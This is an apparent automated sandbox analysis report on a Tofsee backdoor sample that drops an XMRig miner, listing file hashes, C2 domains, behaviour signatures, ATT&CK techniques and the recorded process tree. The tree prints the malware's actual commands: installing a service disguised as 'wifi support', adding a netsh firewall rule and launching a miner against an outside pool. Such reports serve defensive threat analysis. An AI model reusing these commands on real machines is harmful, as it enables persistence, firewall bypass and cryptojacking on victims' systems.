Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    06-06-2022 12:36

General

  • Target

    27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e.exe

  • Size

    263KB

  • MD5

    448738e5f3bd240eea78408b4a700295

  • SHA1

    a5f673e08480399fc8b714ca5384c64f9efa85e4

  • SHA256

    27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e

  • SHA512

    7c94cf9f2d004fa20cf3e3f5769e80d50d82fa485bbdf24a73f434ecfa827f1757e67357407df5228aa1437bca6258b82a3e1944549ae644cf3bc60a76bd3a14

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e.exe
    "C:\Users\Admin\AppData\Local\Temp\27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fxqqkjss\
      2⤵
        PID:4924
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\twfcewmp.exe" C:\Windows\SysWOW64\fxqqkjss\
        2⤵
          PID:4152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fxqqkjss binPath= "C:\Windows\SysWOW64\fxqqkjss\twfcewmp.exe /d\"C:\Users\Admin\AppData\Local\Temp\27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fxqqkjss "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fxqqkjss
          2⤵
          • Launches sc.exe
          PID:4344
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5076
      • C:\Windows\SysWOW64\fxqqkjss\twfcewmp.exe
        C:\Windows\SysWOW64\fxqqkjss\twfcewmp.exe /d"C:\Users\Admin\AppData\Local\Temp\27a1d52df4f2a964e70b9c36b5e08a18589463a44a828ab88cf67c44ba8ec82e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3980
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4636

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\twfcewmp.exe
        Filesize

        13.3MB

        MD5

        ed370bd2d5b94ee1e763dfc38d4c363c

        SHA1

        8a0e41ec54e1fd5fdaf3b28222b566342dd2f250

        SHA256

        d2ef5b6d27292fee804d444fdbae076200272cd0b83ade53994fdae99ea85e6b

        SHA512

        7031a0333212b0a4a3efbecefd91c56be6eef2e922f073f1579cf5b42906b20d8485bd1a54bfc32071c107d9fc68d470a79a13e111ab3ca730dfad6be6157c71

      • C:\Windows\SysWOW64\fxqqkjss\twfcewmp.exe
        Filesize

        13.3MB

        MD5

        ed370bd2d5b94ee1e763dfc38d4c363c

        SHA1

        8a0e41ec54e1fd5fdaf3b28222b566342dd2f250

        SHA256

        d2ef5b6d27292fee804d444fdbae076200272cd0b83ade53994fdae99ea85e6b

        SHA512

        7031a0333212b0a4a3efbecefd91c56be6eef2e922f073f1579cf5b42906b20d8485bd1a54bfc32071c107d9fc68d470a79a13e111ab3ca730dfad6be6157c71

      • memory/668-160-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-125-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-122-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-123-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-124-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-162-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-126-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-127-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-128-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-129-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-130-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-131-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-132-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-133-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-134-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-135-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-136-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-137-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-138-0x0000000002FE1000-0x0000000002FF2000-memory.dmp
        Filesize

        68KB

      • memory/668-139-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-141-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-140-0x0000000002E20000-0x0000000002E33000-memory.dmp
        Filesize

        76KB

      • memory/668-142-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-143-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-144-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-145-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-146-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-147-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-148-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-149-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-161-0x0000000000400000-0x0000000002DB9000-memory.dmp
        Filesize

        41.7MB

      • memory/668-151-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-152-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-153-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-154-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-155-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-156-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-157-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-158-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-159-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-231-0x0000000000400000-0x0000000002DB9000-memory.dmp
        Filesize

        41.7MB

      • memory/668-150-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-121-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-163-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-164-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-165-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-166-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-167-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-119-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-215-0x0000000002E20000-0x0000000002E33000-memory.dmp
        Filesize

        76KB

      • memory/668-212-0x0000000002FE1000-0x0000000002FF2000-memory.dmp
        Filesize

        68KB

      • memory/668-120-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/668-118-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/1996-187-0x0000000000000000-mapping.dmp
      • memory/3980-344-0x0000000000400000-0x0000000002DB9000-memory.dmp
        Filesize

        41.7MB

      • memory/3980-296-0x000000000306C000-0x000000000307D000-memory.dmp
        Filesize

        68KB

      • memory/3980-325-0x000000000306C000-0x000000000307D000-memory.dmp
        Filesize

        68KB

      • memory/4152-174-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4152-177-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4152-173-0x0000000000000000-mapping.dmp
      • memory/4152-175-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4152-184-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4152-176-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4344-201-0x0000000000000000-mapping.dmp
      • memory/4436-320-0x0000000002CC9A6B-mapping.dmp
      • memory/4436-386-0x0000000002CC0000-0x0000000002CD5000-memory.dmp
        Filesize

        84KB

      • memory/4436-486-0x0000000002CC0000-0x0000000002CD5000-memory.dmp
        Filesize

        84KB

      • memory/4636-521-0x0000000002C9259C-mapping.dmp
      • memory/4924-171-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4924-170-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4924-169-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4924-172-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4924-180-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/4924-168-0x0000000000000000-mapping.dmp
      • memory/5076-209-0x0000000000000000-mapping.dmp
      • memory/5104-181-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/5104-182-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/5104-179-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/5104-178-0x0000000000000000-mapping.dmp
      • memory/5104-183-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/5104-189-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/5104-186-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB

      • memory/5104-188-0x0000000077450000-0x00000000775DE000-memory.dmp
        Filesize

        1.6MB